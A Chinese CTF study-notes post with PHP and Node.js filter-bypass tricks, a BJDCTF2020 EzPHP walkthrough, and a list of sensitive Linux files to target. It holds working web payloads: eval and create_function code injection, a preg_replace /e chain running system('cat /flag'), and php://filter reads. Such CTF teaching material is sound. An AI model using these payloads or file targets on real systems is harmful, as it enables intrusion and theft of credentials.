CTF的知识点小记

admin 2022年1月6日01:27:13评论36 views字数 16833阅读56分6秒阅读模式

零散的知识点记录

json

1.在json环境下:

1
%20 %2B \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B

这些字符会作为mysql分隔符。
2.json支持的字符中可以支持unicode编码。
转换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

function unicode_encode($str){
$table = [
'\u002'=>[' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'],
'\u003'=>['0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'],
'\u004'=>['@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'],
'\u005'=>['P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'],
'\u006'=>['`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'],
'\u007'=>['p','q','r','s','t','u','v','w','x','y','z','{','|','}','~']
];
foreach ($table as $key => $value) {
$i = 0;
foreach ($value as $vcode) {
$i=$i+1;
if($str==$vcode){
return $key.bin2e($i-1);
}

}
}

}

function bin2e($str){
switch ($str) {
case '10':
return 'a';
break;
case '11':
return 'b';
break;
case '12':
return 'c';
break;
case '13':
return 'd';
break;
case '14':
return 'e';
break;
case '15':
return 'f';
break;
default:
return $str;
break;
}
}

function main($str){
for($i=0;$i<strlen($str);$i++){
echo unicode_encode($str[$i]);
}
}


main('test');
?>

nodejs

关键字过滤绕过

可以利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但注意到单双引号和加号同时被过滤了,我们想要直接输入字符串拼接的话似乎也行不通了。这里我们可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings ,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串。

比如这里 prototype 被过滤了,我们可以这样书写

1
`${`${`prototyp`}e`}`

这样就可以拼接出一个 prototype 字符串,最后payload

php

php函数

call_user_func

1
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));

call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。

这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call 方法,造成ssrf去访问flag.php。

parse_url解析漏洞

此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:

1
2
3
4
5
6
7
scheme – 如 http
host 域名
port 端口
pass  
path   路径
query – 在问号 ? 之后
fragment – 在散列符号 # 之后

此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
注: 此函数对相对路径的 URL 不起作用。

利用点一:

匹配最后一个@后面符合格式的host

1
2
3
4
5
<?php
$url = "http://[email protected]/file.php?v=1&k=2#id";
echo $url.'</br>';
$parts = parse_url($url);
var_dump($parts);

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://[email protected]/file.php?v=1&k=2#id</br>array(6) {
["scheme"]=>
string(4) "http"
["host"]=>
string(14) "blog.cfyqy.com"
["user"]=>
string(13) "www.baidu.com"
["path"]=>
string(9) "/file.php"
["query"]=>
string(7) "v=1&k=2"
["fragment"]=>
string(2) "id"
}

利用点二:

如果path部分为///,则解析错误,为false ,例如可绕过如下部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
filter_directory();

php特性

PHP的字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)

num参数的值如果为字母就会显示页面请求就会错误。可以猜测这里的waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。(主要是waf不是用php写的)

1
2
3
4
5
6
7
8
9
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

payload

1
?b%20u%20p%20t=23333a

利用PHP的字符串解析特性Bypass

反序列化绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

弱类型绕过op,php://filter读取文件,
is_valid()两种绕过方式
(1). p神在小密圈内曾经发过一个点就是在反序列化时,将s改为S,此时后面的字符串支持16进制表示,因此我们的0x00就可以改写为\00,因为在is_valid中是将我们序列化后的字符串逐个转为ascii然后进行对比,而因此\00会被解析为三个字符,且都在允许的范围内,因此可以成功绕过。
(2). 这道题因为出题人的php版本较高,前面的绕过还可以用php7.2+的黑魔法,public属性直接反序列化就能用了。

php后缀限制

后缀不能为.php

1
2
3
4
5
6
7
8
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

可以使用

1
$this->key = /../penson.php/.

在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./penson.php,而传入之前,是 /../penson.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

无参数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

其中

1
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

(和)表示转义括号
(?R)?表示引用当前表达式

大致意思就是可以使用函数,但是函数中不能有参数

1
2
3
4
5
6
7
8
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

查看有哪些文件

1
?exp=print_r(scandir(current(localeconv())));

打印flag

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

解释

1
2
3
4
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

preg_replace与代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

paydload

1
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

详情可看此文章:https://xz.aliyun.com/t/2557

[BJDCTF2020]EzPHP

知识点

1
2
3
4
5
6
7
base32
url编码绕过
preg_match在非/s模式下的绕过
$_POST和$_GET的优先级
PHP伪协议。
sha1函数的数组绕过。
create_function()的代码注入

页面源码 找到一个base32的字符串,解码得1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

考点 一:绕过 QUERY_STRING 的正则匹配

1
2
3
4
5
6
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

QUERY_STRING相关知识

1
2
3
4
5
6
7
8
9
10
11
12
http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

由于$_SERVER['QUERY_STRING'] 不会进行 URLDecode,而 $_GET[] 会,所以只要进行 url 编码即可绕过:

考点二: preg_match在非/s模式绕过

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

首先对于file过滤了http和https,然后就是对于GET参数的debu,需要匹配要正则但是又不能和aqua_is_cute这个字符串一样。考虑到preg_match在非/s模式下,会忽略末尾的%0a,因为可以用aqua_is_cute%0a来绕过。又因为aqua_is_cute中有单词被过滤了,因此同样需要用url编码来绕过。

但是$_GET["file"]又应该怎么给值呢?考虑到这个:

1
if (file_get_contents($file) !== 'debu_debu_aqua')

因此利用php的伪协议:

1
file=data://text/plain,debu_debu_aqua

考点 三:绕过 $_REQUEST 的字母匹配

1
2
3
4
5
6
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

也就是说不允许有字母。我也卡在了这里,没有想到如果POST和GET传相同名字的参数结果会是怎么样。因为POST的优先级比GET高,如果参数名相同,最终$_REQUEST中的值应该是POST里那个参数的,因此可以传:

1
debu=1&file=2

这个优先级是由 php 的配置文件决定的,在 php.ini 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"

; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"

考点 四:sha1数组绕过

1
2
3
4
5
6
7

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

考点 五:create_function()的代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

解析create_function() && 复现wp: https://paper.seebug.org/94/
应用到本题:

1
$code('', $arg);

$code是create_function,因此这个匿名函数可以是这样:

1
2
3
function test(){
$arg;
}

让$arg是}var_dump(get_defined_vars);//
则变成了这样:

1
2
function test(){
}var_dump(get_defined_vars);//}

首先用}闭合掉test函数,然后自己写危险的语句,最终用//把}给注释掉。
网上的可能大多是用/,其实如果用/,你就可以理解成这样:

1
2
3
function test(){
}var_dump(get_defined_vars);/*
}

get_defined_vars — 返回由所有已定义变量所组成的数组

最后

1
2
3
4
5
6
7
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//


/1nD3x.php?shana[]=1&passwd[]=3&file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&flag[arg]=}var_dump(get_defined_vars());//&flag=create_function

post:
debu=&file=

这里看到最后的flag在rea1fl4g.php中,使用require加base64编码加取反替代var_dump(get_defined_vars())

require(php://filter/convert.base64-encode/resource=rea1fl4g.php)

1
2
3
4
5
<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);
#%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
?>

payload

1
2
3
4
5
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//


post:
debu=&file=

url编码的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$s='shana[]=1&passwd[]=3&file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&flag[arg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%99%93%9E%98%D1%8F%97%8F));//&flag=create_function';
$result="";
for($i=0;$i<strlen($s);$i++){
$tmp=substr($s, $i,1);
# print($tmp);
if(!strcmp($tmp, "%")){
$result .= substr($s, $i,3);
$i +=2;
continue;
}
if(preg_match("/[a-zA-Z_]/i", $tmp)){
$result .="%".dechex(ord($tmp));
}else{
$result .=$tmp;
}
}
print($result);

php反序列化原生类利用

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

CTF任意读取重要信息文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
(1)/etc目录
/etc目录下多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。
(2)/etc/passwd
/etc/passwd文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。
(3)/etc/shadow
/etc/shadow是Linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。
(4)/etc/apache2/*
/etc/apache2/是Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。
(5)/etc/nginx/
/etc/nginx/是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。
(6)/etc/apparmor(.d)/
/etc/apparmor(.d)/是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。
(7)<code>/etc/(cron.d/*|crontab)</code>
/etc/(cron.d/|crontab)是定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
(8)/etc/environment
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
(9)/etc/hostname/etc/hostname表示主机名。
(10)/etc/hosts/etc/hosts是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。
(11)/etc/issue
/etc/issue指明系统版本。
(12)/etc/mysql/*
/etc/mysql/是MySQL配置文件。
(13)/etc/php/
/etc/php/*是PHP配置文件。
/proc目录

/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。
对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码:
/proc/[pid]/cmdline ([pid]指向进程所对应的终端命令)
有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cmd/ ([pid]指向进程的运行目录)
环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ ([pid]指向进程运行时的环境变量)
/proc/[pid]/fd/[num]读取,这个目录包含了进程打开的每一个文件的链接



其他目录
Nginx配置文件可能存在其他路径:
/usr/local/nginx/conf/* (源代码安装或其他一些系统)
日志文件:
/var/log/* (经常出现Apache2的Web应用可读/var/log/apache2/access/log从而分析日志,盗取其他选手的解题步骤)
Apache默认Web根目录:
/var/www/html/
PHP session目录:
/var/lib/php(5)/sessions/ (泄露用户session)
用户目录:
[user_dir_you_know]/.bash_history (泄露历史执行命令)
[user_dir_you_know]/.bashrc (部分环境变量)
[user_dir_you_know]/.ssh/id_rsa(.pub) (ssh登录私钥/公钥)
[user_dir_you_know]/.viminfo (vim使用记录)
[pid]指向进程所对应的可执行文件。有时我们想读取当前应用的可执行文件再进行分析,但在实际利用时可能存在一些安全措施阻止我们去读可执行文件,这时可以尝试读取/proc/self/exe。例如:
/proc/[pid]/fd/(1|2) (读取[pid]指向进程的stdout或stderror或其他)
/proc/[pid]/maps ([pid]指向进程的内存映射)
/proc/[pid]/(mounts|mountinfo) ([pid]指向进程所在的文件系统挂载情况,CTF常见的是docker环境这时mount会泄露一些敏感路径)
/proc/[pid]/net/* ([pid]指向进程的网络信息,如读取TCP将获取进程所绑定的TCP端口ARP将泄露网段内网IP信息)

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:27:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF的知识点小记https://cn-sec.com/archives/721552.html

发表评论

匿名网友 填写信息